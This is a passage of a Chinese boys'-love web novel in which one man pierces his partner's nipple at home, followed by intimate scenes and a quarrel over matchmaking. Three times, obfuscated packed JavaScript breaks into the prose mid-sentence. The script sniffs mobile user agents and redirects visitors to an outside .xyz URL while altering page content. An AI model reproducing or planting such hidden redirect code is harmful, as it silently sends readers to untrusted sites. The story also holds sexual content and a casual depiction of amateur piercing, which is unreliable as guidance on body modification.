水过无痕,闻根对自己没感受过的东西没什么概念,又因为现在很想尝试,所以本能的轻视会遇到的困难:“我很能忍痛的。” 阕开霁冷笑一声:“呵。” 闻根又觉得他对自己态度很不好了。他并没有那么自信,但还算坚定:“真的。” 真的个鬼。 敲会儿银条就给手心磨出水泡,再早一点,口口声声说着可以,但真见到又连滚带爬的躲开。 还觉得自己能忍痛? 不过掰扯这个也没意义,阕开霁转而说:“就算打了乳钉,那些闲置舌钉也不一定能用。” “为什么?” “女性乳钉杆粗才是1.6,但男性□□太小,杆粗都是1.2,而且舌钉杆长是根据舌头厚度定的,14。打乳钉需要根据□□大小选杆。” 闻根:“不能用1.6的杆吗?” 阕开霁隔着T恤揉了下闻根胸口:“多小你自己不知道吗?” 小吗? 除了自己,闻根唯一见到过的别人,就是阕开霁。是比他的大一点,但也就是一点点。 不能用1.6只能用1.2…… 闻根目光逐渐发虚,看着阕开霁耳朵上的蝴蝶耳钉。 阕开霁:“别想了,我上次也就随口一说……” 说着,感觉耳垂一轻。 就看闻根伸手摘下他耳朵上杆粗1.2、长度8的蝴蝶耳钉,随后撩开衣摆对比了一下。 莹白皮肤软粉果粒好像还冒着热气,而耳钉闪着金属质地的冷光,吻上温热皮肤。 近在咫尺扑面而来的视觉冲击让阕开霁闭了闭眼,似乎这样就能躲过这么情、色暧昧的画面。 但闻根老老实实告诉他比对结果:“刚刚好诶。” 他睁开眼,看闻根拿着耳钉,竖直贴在果粒上,蝴蝶就停在肉粒上,粉与蓝的对比分外明显。 阕开霁呼吸窒了下。 闻根还在说:“你看。” 阕开霁只好抬头看。 软白皮肤仿佛清蒸熟透的鱼肉,还散着热气,热腾腾的诱惑着桌前的阕开霁。他浅尝即止过,知道是什么样的口感。小鱼本来就不是机灵好动的鱼,在深水里每天装死宛如死鱼,鱼肉软绵绵的,鳞片也完全没有抵抗力,只要拿起筷子拨一下,就能把鲜甜可口的鱼肉全部吃到嘴里。 他根本抵挡不了这样的诱惑,控制不住伸手——捉住闻根的手。 闻根一时不察被他握住手,手指一软耳钉就擦着肉粒往下掉,闻根刚感觉到耳钉擦过的凉,又立即被热意覆盖。阕开霁接住耳钉,随即横着压在□□上,把被摩擦得微微翘起来的肉粒压下去,手指也跟着紧紧贴在胸口,热意丝丝缕缕往皮肉里钻。闻根后腰一软,鸡皮疙瘩倒是都起来了。 阕开霁:“这样横着穿。” 闻根低头看。蝴蝶耳钉在阕开霁手里那么小那么没有存在感,不像在斟酌大小,反而像在拿着耳钉撩拨他。 声音都软了:“现在穿吗?” 理智提醒阕开霁,穿钉很疼、后续处理很麻烦、而且□□不像舌头打完钉子后可能就没办法长好了…… 有一万个拒绝闻根的理由。 但他看着自己的耳钉贴在闻根身上,看反差明显的颜色,喉结上下滚动,说:“约穿孔师。” 闻根问:“你的舌钉不就是自己打的吗?” ——阕开霁的舌钉是自己打的,对着镜子用工具固定舌头,用力穿孔就打好了。 疼当然是疼,但当时想到闻根看到舌钉后会有的反应,心里的愉悦比那点疼痛强烈太多,他也就不觉得多难受。 但闻根…… 闻根现在完全是热血上头,就像那天晚上坐在阕开霁摩托车后座听呼啸风声,就像和阕开霁在一起的每一天。他也不去想自己过去怎么样,现在应该怎么样,只想自己喜欢什么样。 他看阕开霁:“你有穿刺工具。” 阕开霁垂眸和他对视。 闻根还是那双死鱼眼,镜片后那颗泪痣格外生动。 阕开霁忍不住用力,几乎要把那颗柔软小果粒碾碎。 = 给穿刺工具消毒时,阕开霁最后一次提醒闻根:“你现在还能后悔,真的很疼。” 而闻根赤着上身躺在床上,明明处境就是砧板上的鱼任人宰割,但一点都不怕,反而像跟闯进强盗洞穴的阿里巴巴一样,贪婪热切的想着阕开霁的那些耳钉,就连死鱼眼都亮了。 听到阕开霁这么问,他仰头,问:“以后能给我带你的耳钉吗?” 阕开霁:“……” “大部分不能,小部分能的都给你。” 闻根:“为什么只能小部分能?” “因为大部分耳钉需要用耳堵固定,□□带不上。你喜欢的话到时候给你做同款乳钉。” 闻根还想说什么,阕开霁放下穿刺工具,打量着他,问:“你是不是喝多了?” 平时一杆子打不出个屁的人,今天先是要打乳钉,又喋喋不休说这么多话,事出反常必有妖。 闻根:“我下班回家后不是一直和你在一起吗?” 阕开霁依旧冷静而怀疑的看着他:“你白天和同事喝多了?” 闻根窘迫:“没有。” 看阕开霁并不相信的样子,他张嘴:“你闻。” 阕开霁俯身亲了一下,舌头在口腔里扫了一圈,退出来,依旧看着闻根。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798519|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻根被他这么明显的怀疑弄得不高兴,强调:“根本就没喝酒。” 阕开霁:“那你为什么现在这么激动?” 闻根看阕开霁,激动的表情渐渐退下去,但依旧比平时显得兴奋很多。他说:“因为我很期待。” 好像打了这个钉子,他就能系统而明确的划分出一个阶段来,告诉自己,也告诉很多人,自己做出了改变,自己现在很勇敢的做了很多过去不会做的事情。 而且……自己在体验阕开霁的生活,以后他们之间就没那么多不一样了。自己不会再觉得自己和阕开霁是不一样的,也不想再听到别人那么说了 阕开霁拨弄了下□□:“真的打?” 闻根点头。 “打哪边的?” 闻根看阕开霁的耳朵——阕开霁耳朵上穿了很多孔,两边都是。不过他平时只在左边耳垂带耳钉。 于是闻根说:“左边吧。” 阕开霁拿出酒精棉片来给即将穿刺的地方消毒。 冰凉的棉片贴上,酒精挥发瞬间吸去所有温度,闻根打了个战栗,随后就感觉到隔着棉片,阕开霁手指的温度。 酒精挥发得那么快,很快就不再凉了,反而是有些粗糙的棉片细细擦过每一部分。就像去医院打针,护士也会用占了酒精的棉签仔细擦过将要下针的地方,所以这个粗糙的质感,几乎是要被刺穿的预警。 但现在动手的不是护士,而是阕开霁。而将要被刺穿的,也不是手背和血管,而是…… 所有知觉都聚集在那一点,说不清是什么感觉,只觉得连小腹都泛着阵阵酥麻。 消完毒,这颗肉眼可见的要更红一些,湿漉漉的立起来,像洗干净等待被吃掉的果子,让人垂涎欲滴。 阕开霁根本收不回手。他最后一次预警:“你现在还有反悔的机会。” 但闻根的回答,是主动撞到他手心里。 闻根感觉到要被打孔的地方被阕开霁捏起来。 指腹的茧擦得他有点痒,不知道是想要阕开霁松开,还是更用力些。目光游移着不知道要往哪儿放,索性就看阕开霁,但阕开霁灰蓝色眼睛盯在要被穿孔的地方,甚至在那浅色眼眸深处都映上了一抹红,像冬日雨天的梅蕊。 他不敢再看,脑子乱糟糟的,胡乱告诉阕开霁:“你都说了给我打——以后能不能别总骗我,一开始说项圈上的钉子能带耳朵上,又说舌钉是1.6的能当乳、钉,我都信了,又要说乳、钉要1.2……” 没说完。 尖锐疼痛刺破皮肤,那么一瞬间,闻根脑子一空,觉得自己像个瓷瓶,因为这刺破的一点,整个碎掉四分五裂。 鱼被生拔了鳞片也会想要挣扎,但身后是床面前是阕开霁,避无可避,最后反而又撞到阕开霁怀里去了。 “不骗你了。” 阕开霁一点点旋上金属小球固定钉子,把穿刺针放下,拿去棉签轻轻擦去溢出的血珠。 每个动作都会引起闻根的战栗,疼得过度好像麻木了,但又好像就连呼吸都是疼的,心跳格外明显,每一次撞击都会引起那处的疼。 阕开霁:“这次真没骗你,穿孔真的很疼。” 闻根气若游丝,说话都疼:“我知道了。” 阕开霁看他,再看胸口穿着钉子,红肿如绽放到最盛的梅花般的地方,声音沙哑:“很漂亮。” 被疼痛折磨的神思不属的闻根甚至都听不清他在说什么,宛如一条死鱼,躺着一动不动。 阕开霁俯身,用嘴唇轻轻擦了擦挺立的□□,感受到不同寻常的温度,再次重复:“好漂亮啊。” 47.第 47 章 阕开霁这次还真没骗人。 就是疼,非常疼。尤其那地方之前非常没有存在感,最多也就是被揉几下,现在对疼痛更是敏感得可怕。 打完之后就开始疼,完全没办法描述的疼,不仅猛烈而且尖锐,如果平时磕磕碰碰划到手的疼是被小石子砸了下,那现在的疼就是珠穆朗玛峰崩塌,劈头盖脸砸过来。 阕开霁用毛巾包着冰块在胸口悬了凉了一会儿,应该是好了一点,因为闻根不再是疼到麻木的状态了,但不麻木之后,疼反而更具象化了。 就是疼,很疼。 睡前好不容易好了一点,赤身盖着阕开霁毫无存在感的真丝被套,倒也艰难睡过去了,没觉得有什么。 第二天醒来,穿孔的那边肿起来了,肉眼可见比另一边大,红彤彤的。 刚睡醒就看到这幅画面,阕开霁休息一晚上格外精神的身体更加精神了。 但闻根苦着张脸,死鱼眼里还都是对疼痛持续这么久的震撼和无奈,他也不能这么禽兽,接着欺负已经受伤的地方。 …… 所以就欺负了会儿没穿孔的地方。 一边疼,另一边又被阕开霁弄的酥酥麻麻的,闻根单细胞生物般的大脑完全没办法分辨这么复杂的感触,只好统一认定为不舒服,被为难得眼泪涟涟。 虽然他带着眼镜,一激动镜片就蒙雾看上去像是要流眼泪,但这还是阕开霁第一次真见闻根哭出来,当时就有点控制不住,动作越来越过分。 闻根一边淌着眼泪,一边不是那么坚定的推阻:“今天还要上班。” 他面对阕开霁的大部分时候都是这种不坚定的态度。小部分时候就是不能接受自己是同性恋时坚定告诉阕开霁自己不能喜欢男人。不过现在也不了,现在唯一坚定的大概就是还有点不能接受一点五升的矿泉水往自己身体里怼。 阕开霁啧了声,表情阴郁退开。用棉签给擦上消炎药和止疼片粉末,又认认真真给闻根贴上两个小胸贴。 昨天晚上连夜外卖买的,就小小的一个花朵形状,刚刚好盖住红肿挺立的地方。 闻根挺着胸乖乖送到他手底下的姿势看上去很乖,让阕开霁很轻易忘掉他刚刚打断自己要去上班的不满。 红梅花变成肉色的布料小花,还是微微突起来。阕开霁头一次觉得自己这么手欠,明知道闻根疼,还是想上手刮一下。 他盯了一会儿,在伸出手前刮蹭揉捏让闻根疼得直接哭出来前,拿起T恤给闻根套上。 闻根不习惯胸前这两粒这么有存在感,更没有贴过胸贴,现在总担心突起来,T恤贴在身上会露出胸贴的弧度,于是塌腰驼背,活像被抽了骨头软塌塌立不起来的鱼。 本来就近视带眼镜看上去呆,现在还驼背体态不好,愣是把比例匀称的身材也给拖累了。 阕开霁:“……” 看不过去,但也能理解闻根为什么驼背,怕自己说了闻根又说自己性格差劲对他不好,于是忍住什么也没说,简单弄了个疙瘩汤当早饭。 但闻根看出他眼睛里的嫌弃和无语,内心窘迫,下意识挺直腰杆站直。 肉粒紧贴在胸贴上,尖锐的疼痛袭来,他面色一变,又整个塌下去了。 每天早晚涂药、平时出门时带着胸贴防止摩擦,三天后闻根觉得没那么疼了,这天早上在阕开霁给他贴胸贴时,大着胆子告诉阕开霁:“不疼了,要不不贴了。” 贴着的时候闷闷的,偶尔出汗会刺刺的疼,晚上取下来时也会把周围的皮肤扯得不舒服。反正闻根不太喜欢,也不太习惯。 阕开霁看他粉嘟嘟的乳、粒,收起胸贴:“好吧。” 闻根就去上班了。 偏偏社区有活动,需要去给社区老人送关怀,他作为单位年纪最小的精壮小伙,当然首当其冲。 在路上走了两步就发现不对劲了,每一次行走,纯棉的T恤面料摩擦着因穿孔而挺立的乳、头,没一会儿就传来针刺般的疼。 真的很疼,同事看出他脸色有点不对,询问他是不是不舒服,他也不好意思开口说自己到底哪儿不舒服,只能忍痛摇头接着忙工作,跑前跑后。 一小时后。 疼得冒泪花的他躲在厕所,给阕开霁发消息。 “我那里有点疼。” 阕开霁看到这消息,再打开步数记录,发现闻根今天一上午都在不停忙碌,现在走了三千多步。 能不疼吗,再磨下去真磨破皮了。 手上拿起胸贴和车钥匙就要往外走,但面上还是打字询问闻根:“哪儿疼?” 闻根真的很羞耻,但也真是特别疼。这种疼也没办法和其他人说,只能求助面前的阕开霁,阕开霁还要问哪儿疼。 他打字:“就,乳、头啊。” “很疼。” 阕开霁:“定位。” = 闻根正在和同事陪老人说话,询问老人身体情况。 总不过也就是那些老人常有的基础病,高血压、骨质疏松、青光眼听力下降之类的。不过也不严重,早睡早起规律饮食,再加上中医调养,敬老院工作人员每天尽职尽责给他煮药,说起来比现在大多数年轻人还要精神活力,日子很是舒坦。 闻根听到中药两个字,又忍不住想到阕开霁。 他一时失神,话题莫名其妙就到他身上去了,问他近视多少度,工作忙不忙,有没有对象…… 闻根想到阕开霁,下意识想点头说有。 但还没点头,想到什么,又顿住了。 阕开霁生日那天问自己要不要和他试试,自己当时也点头答应下来了。 如果是正常情况下,那时候应该就已经在恋爱了,但第二天自己发现他是个男人,马上变了主意还要他和自己喝中药调理,他们的恋爱关系好像也就中断了。虽然现在说着还要喜欢他,也一直有亲密行为,但……好像也没人再认真说要不要在一起的话了,闻根也不确定。 手里的手机突然震了下。他悄悄垂头看一眼,发现是阕开霁给他发消息说到了。 到了。 自己就不会这么疼了,而且还能问问阕开霁,自己和他现在是什么关系…… 心思都跟着这条信息飞到楼下,但人还正在和别人说话,不能没礼貌的打断老人直接下去,也不能在别人对自己说话时发消息回复 。闻根又把手机收起来了,内心焦灼试图找个借口出去。 就这么一时卡顿,老人就把他的沉默当做回答了,问:“没有?” “正好照顾我们的护工,和你差不多大,也还没有对象。我觉得你俩很合适,现在其他小年轻啊,都和我们那时候不一样,看着就不像会好好过日子的,但你俩不是,你俩看着就朴实,能把日子过长久。” “对对对,等会儿就到了给我们量血压的时候了,你看看。” “你俩工作也合适……” 老人说话声音越来越小,目光逐渐聚焦看向窗外。 闻根似有所感看过去。 隔着玻璃窗,阕开霁拿着手机边走边往房间里看,他带了口罩遮住五官,只有披在肩膀上的棕色卷发格外显眼。隔着窗,那双灰蓝色眼睛注意到房间里的他,阕开霁的脚步就慢下来。 房间里几个老人询问:“这是谁家的孩子?” 看到阕开霁落在闻根身上的视线,问:“诶小伙子,是不是来找你的?我看他怎么在看你?” “找你有事?那你快出去吧。” “那等会儿还见李护工吗?我真觉得那姑娘挺好的。” 确实是来找自己的。但想到阕开霁来找自己是做什么的,闻根就浑身发烫。 而且现在面对这么多老人,七嘴八舌的,万一让他们知道一定会追问,自己不知道怎么应对…… 脑海里各种念头一一闪过,闻根回头看一眼阕开霁,结结巴巴:“不是吧……” 门外,阕开霁听到声音,不动声色加快脚步走过去。 闻根的手机又震了一下。 阕开霁告诉他:“我在院子里等你。” 闻根莫名安定下来,虽然心思完全跟着阕开霁离开了,但知道阕开霁现在就在外面等着自己,心里就只剩下期待。 身边老人还在嘀咕刚刚出现在窗外的陌生小孩:“女孩子长这么高啊,都能去当模特了。” “现在小孩都长得高,我外孙十四岁都一米八了。” “但女孩子长这么高的也少啊。” 闻根抿抿嘴,还是没忍住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14803753|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翘起嘴角。他说:“也可能是个男生。” “不是吧,打扮得多好看啊,得是个爱美的小姑娘。” 又陪着老人说了一会儿,李护工来帮老人量血压。人一进来,老人就示意护工看闻根:“这是社区来看我们的小闻,和你差不多大,你可以多和他说说。” 李护工是个长得很清秀的女孩,有一米六那么高。 闻根看着她,第一想法是,正常女孩子身形好像确实娇小一点,也不知道自己当时是怎么把需要自己仰头才能看到的阕开霁当成女生的。 李护工跟着看到他,似乎也知道老人的想法,眼神几分害羞。 闻根更窘迫了,借口自己不懂这方面的知识,现在先去上个厕所,赶快离开了。 坐着的时候还好,一旦开始走动,乳、尖又开始刺痛。但闻根的脚步越来越快,看到院子里晒太阳的阕开霁,三两步走过去。 阕开霁今天穿了件暗色铁锈红衬衣,下摆扎进阔腿西裤里。衬衣解开两颗扣子露出小片胸脯,脖子上带了条波浪形的素锁骨链。 他摘下口罩露出整张脸,洁白皮肤在阳光下呈现出一种苍白的质感,像冬日的雪。和清秀寡淡的李护工不同,他是充满冲击力的艳丽。 闻根原本想告诉他,不只是自己一个人刻板印象把他错认成女孩,刚刚那些老人也觉得他这么漂亮一定是爱美的女孩。想说原来正常女生那么小,自己之前把他错认实在是太不好意思了。想问阕开霁自己和他现在是什么关系,自己还是喜欢他,他还愿不愿意和自己试试。 但一看到阕开霁,舌头就像被叼走一样。认识这么久,亲密的时候也做过不少,可看到阕开霁的脸,依旧会失神,结结巴巴什么也说不出来,只往阕开霁面前一杵:“久等了,我,我来了。” 阕开霁看他,表情很淡,目光非常自然落在胸口那处。 棉质T恤面部厚实,胸口还有大片印花,肉眼看不出任何不对劲。闻根心里清楚,但还是涌上来些许羞耻,原本因为不适就很有存在感的地方现在更是格外让人无法忽视,他甚至觉得阕开霁的目光撕开衣服,让他无处遁形。 阕开霁没把胸贴给他,目光点了下他的衣摆:“在这儿贴?” 光天化日之下,不远处还有大爷正聚在一起下棋,工作人员推着坐在轮椅上的老人晒太阳,自己的同事不知道什么时候会出来…… 怎么可以在这里贴?! 闻根窘迫:“去厕所。” 从穿完孔后一直都是阕开霁给他贴的胸贴,再加上刚刚阕开霁看下摆那一眼看得理直气壮,闻根也就被带得忘掉自己也能贴的事实,带着阕开霁去厕所,偷偷摸摸鬼鬼祟祟,做贼一样确定厕所没有其他人,才打开隔间门,招呼阕开霁一起进来。小心翼翼反锁上门,撩开衣摆挺起胸膛。 一颗打着钉子,钉子上的蝴蝶贴在上面,衬得那朵小红梅越发生动。另一颗没有钉子,但带着乱七八糟的吻痕和牙印,和打了钉子的那颗一样红肿。 阕开霁什么都没做,给他涂了层药再贴上胸贴。 闻根这才觉得活了过来,把衣服整理好,高高兴兴道谢,推开门仔细观察,确定现在也没人会看到,才招呼阕开霁出来,说:“你快回去吧,这次实在太麻烦你了。” 非常礼貌。 非常客气。 表达感谢,让自己回去后,穿着自己给他挑的衣服,带着自己给他挑的眼镜,胸口上是自己给他穿的孔、自己的耳钉,另一边是自己留下的印痕,藏在自己贴上去的胸贴里。然后回去看看老人给他介绍的李护工。 阕开霁也礼貌又客气:“没关系,邻里邻居之间互相帮助是正常的。” 闻根愕然。 他原本还想问自己和阕开霁是什么关系,没想到阕开霁就这么轻易给他们的关系定性说是邻居。 一时惊异,阕开霁就离开了。 而闻根慢吞吞回去,一直回去,看到还在房间里忙碌着的李护工,还有房间里招呼自己赶快回去和李护工攀谈的老人们,灵光一闪想到刚刚站在这里的阕开霁看到了什么听到了什么。 这时候才后知后觉意识到,阕开霁表情很淡,不是因为被太阳晒得难受,而是…… 在生气? 48.第 48 章 下班回家招呼阕开霁来家里吃饭,阕开霁鼻子不是鼻子脸不是脸的。 “呦,我们家小直男没去和护工相亲啊。” 闻根对阕开霁的阴阳怪气非常不敏感,之前阕开霁不阴不阳的嘲讽,他从来都没听出来过,永远用最真诚的想法揣测阕开霁的话。毕竟在他心里,阕开霁大方坦荡,虽然有些骄纵,但他这么漂亮这么优秀,有些小脾气也是应该的、理应被原谅被满足。所以阕开霁只要不是特别明显的差劲态度,他都能飞快接受。 但现在,在知道阕开霁生气的情况下,再听到这句话,就咂摸出那么点阴阳来了。 可即使知道阕开霁是在阴阳自己,他还是无可救药的在脑海里把“我们家”三个字反复回味几遍,没生气,给自己弄得有点脸红。 闻根结结巴巴:“没有啊。” 他解释,“我没打算相亲,我也不知道为什么他们要提起护工。” 阕开霁上下扫他:“因为你一副看上去就很适合结婚生小孩给孩子换尿布的样。” 闻根低头看自己,又看阕开霁,死鱼眼里几分茫然:“因为我土?” 阕开霁:“……” 不是土,是闻根身上有一种现在人很少有的感觉,也不能简单用朴实或者踏实来形容。哪怕阕开霁知道他现在在搞同性恋,胸口还有男同性恋给他留下的乳钉和痕迹,哪怕阕开霁知道他想要追求刺激去飙车去尖叫去追求自由。但也还是觉得闻根和其他那些人不一样。 他就是植根在泥土里的一棵树,可以开花可以结果,也可以长出长长的藤蔓探索更多的地方。花园里太多花,开得很热烈漂亮,很多人没办法第一眼看出这棵树的特别之处,但只要多了解一点,就会发现他有多柔软可爱,而且比那些只会追求漂亮的花朵,有趣多了。 花朵会被雨水打得凋零枯萎,但树不会。 更别提现在这棵树被拾措得好看又精神,帅气利落。不管是外貌、经济条件还是脾气性格,都是婚恋市场上非常吃香的那一种。但凡透露出一点单身想要恋爱的想法,周围有适婚年龄女孩的长辈,几乎都会愿意帮忙介绍。 闻根看到阕开霁无语的表情,意识到自己抓错重点。 他只好再次解释:“我没打算去相亲,我……我不是喜欢你吗。” 阕开霁当然知道他不会去相亲。 闻根刚开始觉得自己是同性恋,把他错认成女生,说着喜欢,还会因为不确定自己性取向调理好了没有 ,而告诉他现在还不配喜欢他。面对神医“三十岁就自动变成直男”的建议,也会说不能做那种道德败坏的人。 现在当然也不会在说着喜欢他的情况下,去和女生相亲。 阕开霁也不是因为这早就确定的事而生气。 只是谴责:“那你为什么不说,你说有喜欢的人了,人家还会给你介绍相亲吗?” 闻根被阕开霁的逻辑带着跑,内疚:“对不起,我下次就知道了。” 阕开霁啧了声,挑剔的看着闻根:“真是个直男。” 这种回答听起来好像是自己让他说,他才不情不愿抱歉并敷衍下次会说。如果自己不提出来,他就会一直不说有喜欢的人,让其他人接着给他介绍。 到底是不愿意说自己有喜欢的人,还是不愿意被发现喜欢的人男的? 如果自己是女生,面对这种情况他一定忙不迭就拒绝,并表示有女朋友了吧。 阕开霁越想越不满,就要发作。 没成想闻根先不乐意了。 他勇敢提出自己的诉求:“你不要说我是个直男。” 自己明明都不是直男了。上次自己被吓到,他说自己是臭直男,自己都表达过不满了。怎么现在还说。 阕开霁也想到那天,表情僵了僵,辩解:“我没说你是臭直男。” 重点又不在臭! 闻根:“直男也不许说。” 直男怎么就不能说了?一开始是谁吵着闹着喝中药也要当直男? 阕开霁阴阳怪气:“行,都听我们家小男同的。” 闻根涨红了脸:“我……” 他想反驳阕开霁说自己不是男同,如果不是遇到他,根本就不会发现自己喜欢男人。可他喜欢阕开霁,阕开霁是男人,那他喜欢男人是个男同已经是事实了,他又不打算改。所以都说服不了自己,吭吭哧哧好一会儿,什么也没说出来。 阕开霁还在那边招惹:“不让说直男,小男同总让说吧?不然你什么性取向?” 闻根:“反正……不是直男。” “你确定?” 闻根点头:“确定。” 他一副豁出去了的无畏样子,让原本还想再挑挑刺的阕开霁思绪断开,就生出点不同的想法来:“你怎么确定的?经过实验了吗就说确定,万一你只是喜欢我的脸,背地里还想结婚讨老婆呢。” 这个还能怎么试? 大概也和之前没什么区别吧。 想到那些实验,闻根的脑袋垂得更低,一张嘴甚至发不出来声音,小鱼吐泡泡一样咕咕噜噜的。 “那你试试嘛。” 一开始怂恿他要不要试试并主导尝试的人现在却带着苦恼:“怎么试啊?” 阕开霁微微俯身,凑近询问,“我给你当老婆,你教教我吧,老公。” = 闻根笨手笨脚的教阕开霁怎么试。 先接吻。 眼镜非常碍事,会碰到阕开霁深邃眉骨。闻根轻喘着分出心神想把眼镜摘下来,阕开霁拦住他的手:“别摘了,反正最后也得带。” 可还是非常碍事,吻着吻着眼镜就开始往下滑,被阕开霁喷出的灼热呼吸染上薄雾,明明靠这么近,却什么都看不清了。 闻根还是把眼镜摘下来,又主动吻上阕开霁。 被拦腰一截,推到沙发上坐下。 接吻的时候要摘下眼镜看阕开霁,但现在阕开霁撩开衣服吻他白嫩肚皮,没了眼镜就看不真切了。闻根喘着气,眯眼仔细看。 他这时候就一点都不呆了,桃花眼尾泛红沾上水汽,眼底泪痣也湿漉漉的,轻粉眼皮半阖着,漆黑瞳孔努力要看过来,又被快感冲得游移不定,看上去非常勾人。 阕开霁一路往上,撕开胸贴。 动作很慢,看肉色胸贴揭开,露出底下粉色、又被金属无情贯穿的花朵。 甚至没把T恤脱下来,就捞到最上面,卡在闻根肩膀上,什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14808648|157158||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么都露出来了,又刚刚好卡住闻根的动作幅度,让他挣扎不开。 阕开霁嘴上问着闻根怎么试,实际上越做越过分。弄到最后,还把闻根摘下来丢到一边的眼镜捞过来,给软成一滩的闻根带上。 忘了什么时候,闻根在网上看到有人说,戴眼镜的人很色的一点是,每次接吻都要摘眼镜,后来哪怕只是普通的摘眼镜,也都像是亲热的前奏。 他一开始刚和阕开霁亲热时,确实也是这样的。但还没等他把摘眼镜和亲热彻底绑定起来,就因为隐形眼镜那件事,彻底失去了亲热时摘眼镜这一正强化行为。反而是接吻时摘了眼镜,阕开霁也会找出来给他带上,这么几次下来,给他深深刻上戴眼镜等于……的思想钢印。 一开始还只是在小鱼尾巴根蹭蹭揉揉,拨开鳞片,用带茧的手指抚摸柔软嫩肉。蹭着蹭着就蹭到最嫩的地方,蹭得闻根一边怕,一边又浑身都酥软下去。 一条小鱼炸得酥脆焦香,被阕开霁揉碎了一口口吃下去。 没吃完。 但也就剩最后一口渣。 阕开霁每次看着这口渣,馋得眼红,都要怨恨自己那天干嘛突发善心帮闻根带那个该死的隐形眼镜。 今天也是一样。 看被吃得只剩碎渣、身上带着牙印、脸上歪歪斜斜带着眼镜,甚至镜片上还带着几滴浊液、残败不堪的小鱼,一边涌上无尽怜惜,一边又忍不住摘掉他的眼镜,问他:“分得清大小了吗?” 他语气很危险。 闻根觉得自己应该识眼色,顺着阕开霁的话说分得清了,他没有矿泉水大。 但闻根又觉得拿矿泉水当参照物很不合理。拿自己当参照物分大小的话,差距就像自己和阕开霁的身高身形。自己身高一米七六阕开霁身高一米九二,自己肩宽四十四阕开霁肩宽六十。 他甚至觉得阕开霁那里也比自己的正常尺寸多了十六厘米。 不过这话没敢在阕开霁面前说。 他总觉得如果自己说了,阕开霁真的会拿尺子仔细量,再斤斤计较骂他二十多岁的人了,对大小没一点概念。 他顾左右而言他,目光游移,就是不正面回答。 又给阕开霁气笑了,伸手用指甲刮了下那颗带着钉子的肉粒。看闻根疼得鱼一样哆嗦一下弹起来,这才心满意足起床做饭。 闻根还摊在沙发上,呆呆看阕开霁去厨房的背影。 没戴眼镜看不清,他摸索着找到自己的眼镜,默默用衣角擦干净阕开霁弄上去的东西,给自己戴上。 这下就看清楚了。 阕开霁头发有点乱了,背后的衣服还带着被自己抓出的褶皱——被自己弄得皱巴巴的。 闻根居然有点说不出的甜。 他抿了抿嘴,垂眸看自己,很轻易就找到阕开霁留下的痕迹。 T恤和裤子上落了几根长卷发,光是看到这些棕色长发,身体就自动想起阕开霁到底在这儿做了什么。 闻根有点脸热,却一根根仔细把发丝捏起来凑在一起。 五根长发并在一起,绕着食指缠上几圈,变成个棕色的指环。闻根捻着这个头发做的指环,慢吞吞拿出来,趁阕开霁没注意,小心放回自己口袋里。 49.第 49 章 因为自己没有用阕开霁心仪的方式拒绝老人的相亲安排,惹阕开霁不满。不过好在阕开霁给他指了条明路,即告诉对方自己有喜欢的人了。闻根是想试着做一下,然后告诉阕开霁自己做到了,哄他不要生气的。 奈何他们也不是每天都会去看望老人,更不是所有老人看到他都会给他介绍对方。他莫名就失去了补救的机会,被阕开霁好一顿唠叨。 一直到国庆节,两人随便说起假期的安排,阕开霁询问他要不要一起去爬山。 闻根没有马上答应,斟酌:“几号去啊。” 阕开霁没说话,就看着他。 闻根解释:“我二号三号四号没有时间。其他时候都可以。” 说着说着自己先觉得不妥了。总共七天假,被这三天一拆变成了一天和三天的两个小短假,只能在周边玩玩了。 阕开霁不阴不阳:“呦,我老公排期还挺忙。去相亲啊。” 闻根连连摆手:“不是!我大学室友结婚,我要去当伴郎。” 室友跟他大学开始就一个寝室,追女朋友的时候闻根还帮忙大冬天在操场摆蜡烛,室友和女朋友逃水课去约会,闻根也帮忙签到。那时候就说好了到时候结婚请他来当伴郎,婚期刚定下来就通知了闻根。 阕开霁斜斜看闻根:“确定是伴郎,不是新郎?” 闻根:“确定!” 又看阕开霁:“你不信的话,可以和我一起去。” 室友通知婚期时就提出,如果他恋爱了一定要带女朋友一起来。 那时候闻根还不知道阕开霁是男人,又和阕开霁接过吻,陷在自己调理好了又和喜欢的女生有亲密接触的欣喜中,闻言马上答应。对方看出他可能有戏,还问他要女朋友照片。他一板一眼说还没追上,确定关系了再给他看。 然后一晃过去这么久,室友婚礼到了,他还在追的女人变成了男人,再也没给室友看过。 不过室友还记得上次闻根说有喜欢的人,依旧提醒闻根可以带喜欢的人来,自己可以黑幕把捧花扔给他,让闻根拿着捧花表白。 闻根其实有点期待那个画面,但一直没找到合适的机会问阕开霁要不要一起去,直到现在说起这个话题 ,他顺势就问了。 